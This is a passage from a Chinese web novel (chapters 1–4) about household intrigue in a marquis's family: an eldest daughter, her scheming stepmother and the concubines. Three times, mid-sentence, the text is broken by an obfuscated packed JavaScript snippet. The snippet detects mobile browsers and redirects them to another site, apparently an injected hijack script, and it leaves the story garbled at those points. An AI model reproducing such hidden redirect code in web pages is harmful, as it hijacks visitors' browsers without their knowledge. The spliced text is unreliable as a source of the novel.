《抱着牌位成亲后夫君回来了》 1. 第 1 章 夏暑将过，秋燥未起。正是一年之中最舒适的时候。 凉风轻拂，庭中树木枝梢摇摆。花厅一侧挂的珠帘轻轻晃动，发出珠玉撞击之声，细碎清脆。 黛青色的蜀锦幔帐被带起微微涟漪，上面的如意祥云暗纹，在阳光下一闪而过。 花厅内，两个衣着华贵的中年妇人正饮茶说话。 坐主位的妇人瞧着约摸四十上下。虽说已经人到中年，可却是保养得宜，容色过人，举手投足间别有一股动人情态。 她面上的笑容恰到好处：“多谢柳妹妹。我家那大姑娘自小体虚。年年冬天，便要犯咳症。吃了多少药，都没有什么用处。去年用了你送的雪莲，一整个冬天，竟只咳了两回。我这才腆颜求到妹子头上，不想你竟还亲自跑这一趟。真叫我过意不去。小孩子家家，哪里就值当妹子这般奔波了。” 妇人说话语速不疾不徐，语气又诚挚已极，叫人听着十分舒服。 那柳夫人便笑道：“再说我就恼了。许久不曾跟庄姐姐见面，好容易府上除孝出服，想着跟姐姐聚聚，不想庄姐姐这般客气。可见是同我生分了！” 庄夫人便嗔她：“你这嘴巴啊！好了，我不说了。” 她本来容貌便极美，这回眼波流转，更添了几分说不出的柔媚之色。 柳夫人虽与她相熟，也不由怔了一下。心中亦是不免暗叹眼前这庄氏好运道。庄氏出身寒微，娘家不过是个微末小官，比柳氏娘家都远远不如。奈何就因为生得好，竟是嫁到了定远侯府，飞上枝头做凤凰。 思绪不过一飘而过，柳夫人便敛了恍惚之色，掩口笑道：“说笑罢了，姐姐莫要当真。不过，庄姐姐待你家大姑娘这般用心，真真一片慈母心肠。” 庄夫人叹道：“虽说不是我亲生的，可是从小看到大，跟亲生的也是没有什么分别了。” 柳夫人便试探着问道：“你家大姑娘，如今也十六岁了罢？可曾说下亲事了？” 她口中所说大姑娘，正是定远侯顾世衡的嫡出长女，名顾姝。 因着两家相熟，柳夫人颇为清楚顾家之事。 定远侯共四女一子，长女顾姝，今年十六岁。生母周氏，乃是定远侯的原配。因生下顾姝身子不好，缠绵病榻一年多便过世了。眼前这位庄夫人是定远侯后头娶的，虽说是继母，可是性子敦良，待那大姑娘也甚是慈爱。 定远侯长女那大姑娘自小养在定远侯老夫人膝下，相貌昳丽，性情端庄，颇讨一些贵妇人的喜欢。只可惜前两年定远侯老夫人过世，倒是不好提亲事。如今顾家已出孝，柳夫人受人所托，便探问起了顾姝的亲事。 庄夫人闻言却是笑了。她伸手缓缓摩挲着左腕上的翡翠镯子，悠悠道：“这你可说晚了。早几年前，我们大姑娘的婚事便已定下了。” 柳夫人不由面露遗憾之色，只她也不觉得意外。定远侯家的嫡长女，自是不愁亲事。 她不免好奇问道：“大姑娘这般好的人品，却不知是说了哪里的人家？” 庄夫人面上笑意更深，道：“这桩婚事，是我们侯爷做主定下的，亲家亦算是故交。因着他家还在外地，故而不曾宣扬过。” 却没有说是什么人家。 柳夫人亦知趣地不再细究，只是笑道：“侯爷定下的亲事，必是门当户对，天作之合的好姻缘。我这里便先恭喜姐姐了。” 庄夫人掩口而笑，瞧着极是畅意快活：“妹妹说得不错，的的确确是一门好亲事呢！” 她似觉有些失态，忙转了话头，道：“你这雪莲银耳，品相色泽皆是上品，比我自家采买的要好上许多。真是难得。” 柳夫人就笑道：“也是因为家里有亲戚是做药材生意的，才留了些成色好的给自家人用。一点子东西，倒不值得什么。” 她又道：“听说北漠那边什么老汗王死了，新王登基，想跟朝廷开互市。朝廷的使团都已经过去了，要是互市开了，这些北边的东西想来便更便宜了。” 庄夫人就笑道：“那些个蛮荒之地，倒没什么好东西，也就这些难得的药材能拿得出手了。喛，朝廷出使北边这样大的事，我竟没听我们侯爷说起。” 柳夫人赶紧道：“这都是好几个月的事了，那时府上还在闭门守孝，岂会得知。外事不闻，正可见府上守礼至孝呢。” 因说起守孝之事，柳夫人便又问：“府上如今出了服，今年的秋宴，是如何安排的？” 庄夫人笑道：“就月底罢。这几日着急忙慌的，就准备这个了。待日子定下了，第一个先把帖子送给妹妹。” 两人又说笑几句，柳夫人见天色不早，方起身告辞。 送走柳夫人，庄夫人又打开那两个匣子，见里面的银耳与雪莲色泽莹白，皆是上等品相，不自觉露出个微笑。 她盖上匣盖，吩咐旁边的丫环：“金铃，将这银耳与雪莲收到库房里去。” 想了想，又道：“我记得库房里还有些去年的雪莲与碎耳。拿一些去给烟云，叫她这两日给大姑娘炖汤喝。” 想起方才提到的顾姝的婚事，她复又露出个舒心的笑容。 *** 一阵秋风吹过，带起几片泛些黄绿的树叶打旋落在地上。斜阳透过略显稀疏的枝叶照在地上，洒下点点碎金。 烟云提着个食盒，从灶房出来，穿过花园，脚步轻盈地往瑞萱堂走去。 刚走到转角处，不防一人猛地窜出来，差点撞到烟云身上。 烟云脸色一沉，当即便要发火。只是看清楚那人，才咽下要出口的话，勉强挤出个笑来：“是陈姨娘啊。姨娘走路看着些，若叫人冲撞到便不好了。” 陈姨娘摆摆手，笑道，“不妨事。咦，烟云姑娘可是刚从灶房里出来？这拎的是什么？” 烟云脸色一僵，含糊道：“我们姑娘这两日有些咳嗽，夫人赏了些上好的银耳与雪莲，叫厨房里给姑娘炖汤喝。” 陈姨娘立时大惊，嚷道：“什么？大姑娘生病了。哎呀，我竟是不知道！” 说罢便作势要跟烟云一起走：“走，烟云，左右我这会子无事，正好跟你一起看看大姑娘。” 烟云脸色更加不好看，勉强笑道：“我们姑娘也没有什么大碍，姨娘倒不必费心跑这一趟……” 陈姨娘一挥手：“嗐，我跟大姑娘是什么情份。她病了，我如何能不去看看？” 烟云再没办法，只得由着她絮叨跟在自己身边，一同进了瑞萱堂。 瑞萱堂原是定远侯府老夫人的住处。定远侯府大姑娘顾姝一岁多时，生母周夫人便害病去了。顾老夫人怜惜孙女年幼失怙，便将孙女接了过去，自己亲自抚养。故而顾姝便一直随祖母住在瑞萱堂。 便是三年前顾老夫人过世，顾姝也没有搬出来，依旧住在瑞萱堂的东厢房里。 瑞萱堂东厢房一共三间。中间是堂屋，左边一间是卧室，最右一间则是顾姝日常看书做针线之处。 陈姨娘也不是头一回来这瑞萱堂了。到了东厢房，便熟门熟路穿过正堂，直往顾姝日常起居的右侧间走去。 右侧间的雕花隔扇门敞开着。抬眼看去，便看到窗下放着一张软榻。榻首摆着一个半人高的落地钧窑美人扑蝶花瓶，里头插了几根翠绿孔雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922718|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翎；榻尾放了一个紫金云雷山水纹香炉。 榻上坐上一位少女，正垂首做针线活。 她年方十五六岁，上身穿着一件雪青色素色缎面薄夹袄；下身是水蓝色暗纹菊兰绸裙。清淡素雅的颜色，更衬得她螓首蛾眉，肤色白腻。 陈姨娘一见到这少女，脸上不由自主便漾出了几分笑意。 只那笑意很快在脸上放大，以至于带了几分夸张做作。她亦是高声叫了起来：“哎呀，大姑娘，听烟云说你病了，怎么不叫人跟我说一声？如今怎么样了？” 听到人声，少女抬起头来，只见她生得鹅蛋脸，皮肤莹白如玉，一双眼睛潋滟如波。见到来人，便嘴角翘起，绽出个笑容出来，更显姝丽。 她放下手中针线，起身见礼：“陈姨娘。” 又解释道：“不过是小毛病，又不是什么大事，倒累得姨娘跑这一趟。” 声音轻脆悦耳，恰如泉水淙淙，又似珠落玉盘。 陈姨娘脸上的笑容不变，她摆摆手：“这不是在路上听烟云说你病了么，我不放心，过来瞧瞧你。” 烟云在她身后悄悄翻了个白眼。 这个陈姨娘，嘴上说得花里胡哨，哪回过来，不是为着打秋风来的？ 因她心中有气，见香炉里没有燃香，便发作起来：“烟霞，你是做什么的？屋子里竟连香都不知道点？” 烟霞忙道：“因姑娘今日咳嗽，便没有叫我点香。” 顾姝也道：“我这两日咳嗽，不耐烦闻这香味，便叫烟雯把香给熄了。” 又对陈姨娘道：“劳姨娘费心了。不过是吹了风，有些咳嗽罢了，并没有什么大碍。” 陈姨娘便道：“那就好。” 这时烟云板着脸将食盒放在桌上，吩咐烟霞：“去端盆水过来，给姑娘净手，等下盛银耳汤给姑娘用。” 两人虽然都是大丫环，只是烟云的母亲是庄夫人的陪房，烟霞却是外头买来的，在这府里无依无靠，是以烟云使唤起烟霞来顺手得很。 烟霞低头应了一声，老实去打水。 陈姨娘很是殷勤。她走到桌边，一边自顾自打开食盒盖子，一边道：“今儿个夫人叫厨房给你炖了银耳雪莲？这可是好东西，秋日里用这个汤进补再好不过的。” 说话间，她已是盛了一大碗出来，顺手便往自己嘴里送了一口：“我先尝尝烫不烫……” 她似是这才反应过来：“呀，看我，这怎么就喝上了？” 烟云看着陈姨娘这作派，简直要把肺给气炸。 夫人赏了银耳雪莲，都是难得的好物。她在厨房里守了一下午，又多添了一碗水，亲自看着灶上的婆子把汤炖得烂烂地，大姑娘喝上一碗，剩下的，还够她跟烟霞两个一人分上个一小碗。 如今陈姨娘盛了这么一大碗，却哪里还有她跟烟霞的份！ 陈姨娘却似没有看到烟云的脸色，笑道：“幸好煮得多。罢了，我既然尝过了，也不好剩下，索性喝完算了。” 竟是这般就拿着勺子喝了起来。 只是又喝了一口，脸色便沉了下来。所幸她低着头，并无人看到。 顾姝没有看到陈姨娘的脸色，只是见她这模样，忍不住扭过脸，对着窗子无声笑起来。笑后，才装模作样咳了一声，转过头来，又是一脸恬静。 陈姨娘抬起头，已是满脸笑意，还去招呼烟云：“烟云，去给你们姑娘盛汤啊。呆会凉了就不好喝了。” 一大碗银耳，她几口便喝完了，又细细回味了下，点评道：“火候是到了，可惜有些寡淡。若是再多放些冰糖，便更好了。” 2. 第 2 章 陈姨娘在一边点评着这银耳汤，那厢烟霞已打了水过来。 烟云烟霞二人服侍顾姝净了手，烟霞便抬起顾姝的手，轻轻往手上抹些香膏。烟云则去盛汤。只她心念一动，手一抖，汤便洒了出来在瓷瓮里，最终只盛了小半碗出来。 顾姝接过汤舀了一勺，甫入口便觉口感不对。 银耳燕窝这些东西，她自小便是常吃的，岂会分不出好歹。这银耳，说是炖了一下午，可入口还有些许脆口，分明是陈年旧耳，哪里是上好的新银耳。 只不知，是下人阳奉阴违，以次充好，还是，自已那位继母刻意为之。 看着手中一小碗银耳汤，顾姝这会已是没了胃口。 三两口将汤喝完，她将碗递给了烟云：“好了，你收了罢。” 烟云见瓷瓮里余的汤还有半碗多，心中欢喜。自己这一下午好歹没有白费功夫。她当即殷勤道：“那我去灶房将食盒还了。” 说罢收了碗筷装到食盒里，拎着便出去了。 她这一出门，陈姨娘便与顾姝对视一眼，烟霞自觉地便搬了凳子出来，坐在正堂门口做针线。 陈姨娘才问顾姝：“大姑娘，怎么好好儿地就染了风寒？” 此时没有外人，顾姝说话也随意了许多：“就是前日，在园子里逛了会，吹了风，才着了凉。并没有什么大碍，姨娘不用担心。” 陈姨娘这才是真正放了心，道：“那就好。换季的时候，最易生病。虽说你身子向来康健，只还是得多注意着些。” 顾姝又是好笑，又是感动：“姨娘也真是的，平日里一再叮嘱我，不要叫别人知道我与你来往，偏为着这等小事，自已还跑来一趟。” 陈姨娘一时结舌，随即也是笑了：“你平日极少生病，忽然就咳嗽起来，我能不瞧瞧么！” 言谈之间，尽显关爱。 陈姨娘与顾姝的关系，说起来也的确亲近。她原是顾姝母亲的陪嫁丫环，后来做了定远侯顾世衡的妾室。只从前两人也并无往来。 也就是在顾姝十二岁那年，陈姨娘才悄悄找上她，道是顾姝母亲临死之间，托自己照顾顾姝。从前因着顾姝年龄小，故而不曾告诉她罢了。如今顾姝大了，才敢跟她说这事。 这话听上去十分地荒谬诡谲。 虽则顾姝的外家，曾经的成国公府，因着牵涉进先皇后太子巫蛊之案，阖家被除爵流放。可顾姝自有亲生的父亲祖母，哪里就需要她一个姨娘照应了？况且父亲两位妾室，陈姨娘与白姨娘，皆是顾姝母亲的丫环出身，为何母亲只要陈姨娘照顾，没有托付白姨娘做这事？ 顾姝本是不信陈姨娘这话的。 奈何陈姨娘十分干脆，直接便交给了她周夫人的一封手书及两万两的银票。 信竟是周夫人生前亲笔所写，里面道，自已即将不久人世，心中却是放心顾姝不下，故而叫陈姨娘做了夫君的妾室，叫她暗中照应顾姝。只是此事隐秘，顾姝一定要听陈姨娘的话，不可透露二人的关系。 信中又写，周夫人有私房两万两银子，不曾记入嫁妆单子。因她为了自已女儿有人照看，却是误了陈姨娘一生，十分愧疚。故而这两万两银子，顾姝与陈姨娘一人一万两。 信不算长，只是确认了陈姨娘的身份，要顾姝听陈姨娘的话，再者便是要她好好过日子。 至此，顾姝方半信半疑。既然母亲信中写了银子一人一半，顾姝便又还给了陈姨娘一万两。陈姨娘推辞不过，终是收下。但之后，每月便会另给顾姝二十两银子的零用。 先前这钱还是由顾姝自已悄悄保管，后来陈姨娘安排烟霞进了瑞萱堂当差，便由烟霞管着她的钱匣子了。 成年累月下来，单这银子便不是一笔小数目了。加上这些年私底下也多得陈姨娘照应，顾姝如今对她已是十分信任。 只是陈姨娘却又殷殷嘱咐顾姝：“万万不可叫旁人知道我与你的关系，更不可以叫旁人知道你有这一万两银子。须知财帛动人心。若叫旁人知道你年纪轻轻，手里便有这么一大笔钱，于你绝非好事。” 顾姝是个聪明的孩子，她知道该在什么时候听大人的话，便将陈姨娘这话牢牢记在心里。便是父亲跟祖母跟前，也丝毫不提一句。 陈姨娘平时行事也颇为小心，并不怎么与顾姝往来。便是有事，也多是叫烟霞或者陈姨娘的亲生女儿、顾家二姑娘顾婕转达。 不想今日因着自已咳嗽这等小事，姨娘便要亲来一趟。 陈姨娘正欲再嘱咐顾姝两句，不经意看见顾姝放在榻上的针线活，神色不由微微一凝。 顾姝顺她视线看去，亦是看到自已放在榻上的黑缎子鞋面，便拿起来，笑道：“入秋了，这是我给父亲新做的鞋子。” 顾姝是被祖母抚养长大的。老人家重规矩，顾姝受她教导，事亲至孝。每年春秋两季，都会给父亲母亲各做一双鞋子。 她笑着将鞋面递过去：“姨娘瞧这鞋样子可还成？我是想着，用黑缎子做双棉靴。靴口处用金线黑线绣两层雷纹。鞋面便用黑丝线绣几团祥云纹。这样纹路不显，走路却也能带出来一点，既雅致又气派。” 陈姨娘接过鞋面，看着眼前的少女，面庞柔美，表情诚挚，心中滋味五味杂陈。 再低头手里的活计，黑缎鞋面上已经绣了一点的黑色祥云纹，针脚细密，绣工精致。 陈姨娘勉强挤出个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922719|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑脸：“大姑娘真是一片诚孝之心……” 她实是有些说不下去，转而夸起顾姝的绣工：“大姑娘如今绣活做得越发细致了。这般大的姑娘，我就没见过谁的绣活做得比你还好的……” 提起顾姝的年纪，陈姨娘便想起一事，心里登时就有些沉甸甸的。她抬起头，看着顾姝：“大姑娘，高家那边，还是没有消息么？” 顾姝神色亦是一黯。正待说话，烟霞起身进了内室给二人倒了杯茶。 陈姨娘声音顿时提高了：“就是说，枇杷叶子加上川贝煮水，治咳嗽是最有效的。比喝什么银耳雪莲强多了！” 烟云自己偷偷将剩下的银耳汤喝了，又将食盒送回厨房。一回来，便听陈姨娘这般高谈阔论，不由暗暗翻了个白眼。 谁知陈姨娘还有后话：“大姑娘老是这么咳嗽也不是办法，我倒是有心给姑娘寻些枇杷叶和川贝过来。可是，唉，姑娘是知道的，我算什么牌面上的人，平日里也没有进项，便是有这个心，也没这个力……” 这话说得凄惶。顾姝显然也是不知道如何应承了，默了一刻，才听她弱弱道：“烟霞，去取两吊钱给姨娘。” 陈姨娘声音都透着喜色：“呀，这，这如何使得？” 烟云撇撇嘴。抬眼去看，果然陈姨娘嘴上这么说着，人已是站了起来，就等着烟霞送钱来。 待烟霞把钱递过来的时候，她更是谦让都不曾，一把接过来塞进自家怀里。 气得烟云狠狠瞪了她的背影两眼。 得了钱，陈姨娘显见着是坐不住了，又闲扯了几句话，便找个由头走人了。 待陈姨娘的背景出了瑞萱堂，烟云不满道：“姑娘也太好性了，听她说两句，便就把钱给她了。她月月都有月钱，哪里就缺钱了？拿了姑娘的钱，不过就去找那些婆子们吃酒赌钱罢了！” 顾姝心里头还在想着陈姨娘问起高家的话，心不在焉道：“唉，毕竟是伺候过母亲的老人，她都这般了，总不好叫她白跑一趟……” 高家，便是顾姝的未婚夫家。同顾姝外家一样，亦是因先皇后巫蛊之事，被贬谪到川西丹山。只是，自从四年前两家定亲之后，高家便再没有音讯过来。顾姝年龄一日大过一日，莫说陈姨娘着急，便是顾姝自已，也难免心中忐忑。 这么长时间了，为什么高家还是没有消息传来？ 顾姝这边想着心事，烟云却当她是郁闷为难，更是来气。这陈姨娘，回回过来，都要揩些油回去。上好的银耳汤。她自己辛苦忙活了一下午，也不过得了小半碗罢了。陈姨娘却是一下子喝去一大半，实是可恨。 待到晚上，她定要在夫人面前好好告陈姨娘一状！ 3. 第 3 章 凡为人子之礼，冬温而夏凊，昏定而晨省。 用过晚饭，顾姝照例去明慎堂给父母请安。 定远侯府是御赐宅邸，分东西两路。 东路是个大花园，中间建了一排花厅，将花园隔成前后两部分。侯府若有宴客，便都是在这花厅里，极是相宜的。 而园子最里面，建了一处院落，便是瑞萱堂。这院子因是建在花园里面，四季有景，清雅怡人。故而从前便给顾老夫人居住。顾姝便是在这瑞萱堂长大。 西路则是个五进的大宅院。第二进院落名厚德堂，原为顾侯的书房与议事之所。 三进院名明慎堂。此前，顾侯与庄夫人便住在明慎堂的正房，耳房里住着顾修荣。陈，白两位姨娘则住在东厢房。西厢房住着几个通房丫头。 顾婕，顾嫤，顾婵三姐妹，先前便住在四进的兰葶院中。 三年前，因着顾老夫人过世，阖府守孝，故而各个居所也调整了。 顾侯从明慎堂搬去了厚德堂，独居守孝。两位姨娘也从主院搬到了后面的兰葶院的厢房，各自与女儿住在一起。顾嫤便搬回主院明慎堂，住在西厢房，府中唯一的男丁顾修荣则住在明慎堂的东厢房。 至于顾姝，她从前便一直是跟祖母住在瑞萱堂。便是后面各人搬迁，她还是一个人住在瑞萱堂，不曾挪动。 瑞萱堂离庄夫人所居正院最远，顾姝到正院时，姐弟几人都已到了。 顾姝屈膝给父母行了礼，庄夫人这才笑问她：“姝姐儿这几日还在咳嗽，今日我叫人送去的银耳喝着如何？” 顾姝想起那碗脆硬的银耳汤，据实回答：“多谢母亲挂念，银耳汤味道还好，就是稍稍脆了些。” 她是府中长女，断没有为了别人，叫自已暗受委屈的道理。 庄夫人神情一滞。她本是想在众人面前卖个好，却不想顾姝嘴巴刁，吃出是陈耳不说，竟还如此不遮不掩地说了出来。 她强笑道：“想是灶房里的婆子们不上心，火侯不到。下回再炖，需得好生看着她们才是。” 顾姝看了庄夫人一眼，微笑附和：“母亲说得是。” 庄夫人被她这一眼看得更不自在，正待说话，忽听得“砰”地一声，接着是童声的痛呼：“呀”！ 众人目光纷纷看去。 原来是顾修荣，他爬上椅子去拿桌上的果子吃。结果不曾留意身边站着的顾婵，手肘不小心捣到顾婵脸上。 顾修荣比顾婵大着一岁，长得也十分壮实。这一肘子力气颇大，顾婵被撞出痛呼，眼睛里已是蓄满了泪水，嘴巴一撇，便欲哭出声。 一旁的婆子忙拽拽她。 顾婵虽才十岁，也已知道些眉高眼低，当下强自忍住泪意，一汪眼泪含在眼睛里，要哭不哭，十分可怜。 顾修荣看了她一眼，不以为意，自己继续拿了果子往嘴里送。 顾姝眉头便皱了起来。看庄夫人不以为意的样子，父亲亦是没有留意。便转身来到顾婵跟前，俯身柔声对她道：“四妹妹，我看看你的脸。” 顾婵将脸扭了过来。小孩子的皮肤最嫩，被撞到的地方已经红了一大片，还微微泛着些青肿。 顾姝轻轻摸了摸红肿处，顾婵又是疼得一咧嘴。 顾姝这才转向顾修荣，柔声道：“荣哥儿，你撞到了四妹妹，该跟四妹妹赔个不是才对。” 小孩子间，有个磕碰实属正常，荣哥儿亦不是故意为之。只是兄弟姐妹间，该有的规矩礼仪还是要有。是以顾姝的态度很是温和。 只是平时却极少有人同顾修荣说这样的话。他闻言一愣，抬头看向顾姝。 顾姝面色和煦，但眼神却很坚定。 顾修荣不自觉撅撅嘴，又转头看向母亲。 庄夫人那妩媚的脸庞已是冷了下来，她微微转头看了眼身旁的丈夫。顾世衡默不作声。庄夫人抿抿嘴唇，想起方才与顾姝对视那一眼，终是没有说话。 顾修荣年龄尚小，纵然因着庄夫人疼爱，不大将顾婵这个庶出妹妹放眼里，可对顾姝这个长姐，终究有几分发怵。 见母亲不出言维护，顾修荣只好从椅子上下来，草草道：“四妹妹，对不起。” 顾婵捂着脸，声音闷闷道：“没有关系。” 顾修荣脸色便放松下来，也不再理会顾婵，扭身爬回椅子上继续吃果子。 顾姝见他如此敷衍，显然没将方才的事情放在心上。 荣哥儿是家中唯一的男嗣，庄夫人素来娇惯他，平日里便没个礼数。只是父母都在，她虽是长姐，说一句两句可以，说得再多，却是过了。 心中默默叹了口气，顾姝不再说话。 庄夫人就顾修荣一个儿子，平日里千般宠爱，尚唯恐不足，顾姝却当众如此责备儿子，心中怒极。强笑着对顾世衡道：“姝姐儿也是大了，咱们俩都在呢，她管教起弟弟倒是有模有样。” 顾世衡神色淡淡，道：“她是长姐，管教幼弟，也属份内之责。” 这话虽不辨喜怒，可庄夫人与他夫妻多年，自然知道，自已丈夫心里，最看重的，还是荣哥儿这个儿子。顾姝这般教训荣哥儿，实则已让侯爷十分不快。 庄夫人的怒火稍稍消了些。又瞥了眼一边身侧侍立的白姨娘，见她一脸平静，似是对女儿被撞那一下全不在意。不由心底暗啐一声：“狐媚子！” 因有这场事，室内气氛便有些不尴不尬。几个孩子很快便告退，就庄夫人的亲生女儿顾嫤留了下来。 顾世衡跟庄氏随意说了一声，竟也抬脚回了自己的明慎堂。 看着丈夫大踏步而去，庄夫人不由心下微恼。 说是为了守孝，侯爷才搬去了厚德堂。如今孝期过了，侯爷却还是不提搬回主院的话，想来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922720|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后便是要长居厚德堂了。 当她不知道呢，厚德堂那一堆丫环，个个妖妖道道的。从前说是守孝，实则平日里也没少同侯爷胡天非地得乱搞一通。 正想着要如何敲打那些个不守规矩的丫头，只见那顾姝身边的烟云又折返了回来。却是来禀告顾姝今日的起居，顺便告陈姨娘的状的。 她倒还乖觉，不曾提陈姨娘喝银耳汤的事，只道陈姨娘又来大姑娘这里哭穷，哄了大姑娘的银钱去。 庄夫人还为着晚上的事情心中不快，不耐烦理她，敷衍了几句便将人打发走了。 待烟云走了，顾嫤不由好奇问庄夫人：“母亲，那陈姨娘，真的是先头夫人留着照顾顾姝的？平日里瞧着倒是不像呢！” 陈姨娘这个人行事不算体面，无事便爱跟一群媳妇婆子说长道短，平常跟顾姝的来往也不算多，却是半点看不出跟顾姝亲近的模样。 庄夫人冷哼一声：“那就是个眼皮子浅的夯货。说什么跟先夫人亲近，不过是往自己脸上贴金罢了。” 她随即跟女儿解释：“陈氏是顾姝亲娘的丫头不假，只不过她自己背着主子，偷偷勾……偷偷去伺候你父亲，这才叫抬了姨娘的。” 顾嫤听着面色微红，轻轻啐了一口。 庄氏亦是面露厌恶：“这些个糟污事儿，本不该叫你知道。只是你如今也大了，以后嫁人，难免遇到这些个事。我告诉你，若是遇到这样不知分寸的奴才，万万不可姑息。” 顾嫤好奇道：“那顾姝的亲娘怎么不处置了陈姨娘？” 庄夫人冷笑道：“那时候她自家病得都快不行了，哪里管束得了下人。不然你道她为何又抬了白氏，不就是为了给陈氏打擂台么。” 想到顾姝的亲娘周氏，人都快死了，还留了两个妾室给自己添堵，庄夫人不由心中一阵郁塞。 她跟侯爷也曾有过山盟海誓、情比金坚的时候。当时侯爷便许诺过她，娶了她之后，绝不再纳妾。她只当遇到了良人，谁知道，前头周氏竟是给她挖了两个坑出来。 陈姨娘倒还罢了，她那个性子，上不得台面，侯爷也不过一时新鲜，早就不得宠了。偏就是那个白氏，惯会装模作样。更别提，她从前还将先自已一步生了儿子。 幸好那孩子没有留住，不然，岂不就成了荣哥儿的大患。可自已跟侯爷本来夫妻恩爱，却也因为这个孩子生了嫌隙…… 便是如今，侯爷的确也不曾再纳妾，可是书房里年轻貌美的丫头，又何尝少了去？ 若非自已后来拼死生了荣哥儿，有了倚仗，自已的处境只怕更是艰难。 思及往事，庄夫人不觉面色阴沉。对周氏与顾姝的厌恶更甚了几分。 不过，凭那周氏再精明，怕也没有想到，自己竟在婚事上给女儿挖了好大一个坑。 想到顾姝那桩亲事，庄夫人心情复又好起来。 4. 第 4 章 看着女儿娇媚如花的模样，庄夫人笑道：“好孩子，这两年家里头守孝，可把你憋坏了罢。这回秋宴，你好好给自己选几身好料子，做几身新衣服。” 她看着女儿，难掩骄傲：“我女儿的容貌，在这京中贵女里头，也是数一数二的，没几个能及得上。” 顾嫤先是高兴，随即又撅嘴道：“什么衣料首饰，都得先给顾姝挑。我都用她挑剩的，有什么意思！” 庄夫人嗔她：“什么叫她挑剩的，哪回我不是给你留了好的？你是我亲闺女，我还能委屈你了不成！” 顾嫤闷闷道：“这能一样么。明面上不还是得先叫她挑。” 庄夫人一噎，知道自己这个女儿生性要强，事事都爱争先。 奈何自己是个继室，偏又出身不显，娘家不过是个五品官，而这个继女的母家却是煊赫一时的国公府，便是如今败落了，可盛名犹在。自己这个继室在这个元配嫡女跟前，哪里摆得起威风？更别提，从前老太太在的时候，也颇为护着这个嫡长孙女，继女便更加不把自己放在眼里了。 便是如今老夫人不在了，可是强弱之势早成，自己在继女跟前，依旧硬气不起来。 她也只能安慰女儿：“罢了，你莫要与她计较。她就是个没甚前程的破落户，你将来的好日子还在后头呢！” 庄氏母女亲亲热热说话，志得意满。 兰葶院西厢房里的白姨娘母女，却又是另外一副情状。 顾婵先前被顾修荣撞到的脸颊，如今已是肿起好大一块儿。 白姨娘看得心疼，伸手便轻轻碰那肿块。 顾婵疼得一抽抽：“疼，姨娘别碰，疼呢！” 白姨娘的小丫头柳芽出主意：“不若贴个膏药？一两天就消肿了。” 白姨娘有些意动，想了想，还是道：“算了。今晚上些药，明儿个许就下去了。若贴个膏药上去，免不得叫夫人看了不高兴。” 庄夫人瞧着和善，人实在不是好相与的。白姨娘这些年，没少在她手底下吃亏。 说话间，外头传来敲门声：“白姨娘，可歇下了？” 是顾婕身边的丫头绿萼的声音。 柳芽过去开门。绿萼笑着进来，行了礼，将一瓶药膏放在桌子上：“我们姑娘自已做的薄荷猪油膏。平时有个烫伤、肿痛，涂上一点，消肿止痛都好用。姨娘可以试着给四姑娘抹一抹。” 白姨娘忙谢过她，绿萼也不多留，便就告辞。 送走绿萼，柳芽看着药膏，迟疑着问白姨娘：“姨娘，这药，用还是不用？” 白姨娘沉默片刻，终于道：“用罢。陈锦罗虽说粗鄙不着调，她那女儿倒是个稳重细致的。” 绿萼送完药膏，回到东厢房，见到白蕊，不由便嗔她：“你方才做什么去了？姑娘要给四姑娘送药膏，寻你都寻不到！” 白蕊忙举着手里的荷包道：“我方才绣荷包，少了一色线，去我屋里拿呢！” 绿萼冷笑：“回回有事寻你，都道是要做荷包。我瞧你这荷包，还能做一辈子不成！” 白蕊聪明手巧，一手绣工很是了得。二姑娘有些新想头，便爱叫白蕊去做。只二姑娘素来少言寡语，便是白蕊活计做得慢些，也从无二话。是以白蕊渐渐地放纵了起来，对二姑娘安排的活计偷懒拖延不说，竟还拿着这借口躲旁的差使。 这回二姑娘叫她做了几个荷包，白蕊便更有了理由，天天说自已要做荷包，别的活计一概不理。可几个荷包，做了一个月了，还没做完。 也就二姑娘性子敦厚，竟也没说什么。 白蕊讪讪道：“都做好了，我收个针就得，等下就给姑娘拿去。” 顾婕素来性子好，平日里并不与小丫头们计较，接过白蕊做的三个荷包，赞道：“不错，正是我要的样子。” 三个荷包，一个绿蚱蜢，灵动如生；一个胖蜜蜂，憨态可掬，一个粉蝴蝶，华美精致；各有意趣。 白蕊笑着对顾婕道：“也是姑娘想的点子好。您看这个蚱蜢，单是绿色的丝线，就用了七八种，绣出来多好看！” 顾婕笑道：“这个蚱蜢荷包，就给大姐姐罢。” 三个荷包虽然各有特色，可她最中意的还是这个蚱蜢荷包。故而便把它留给顾姝。 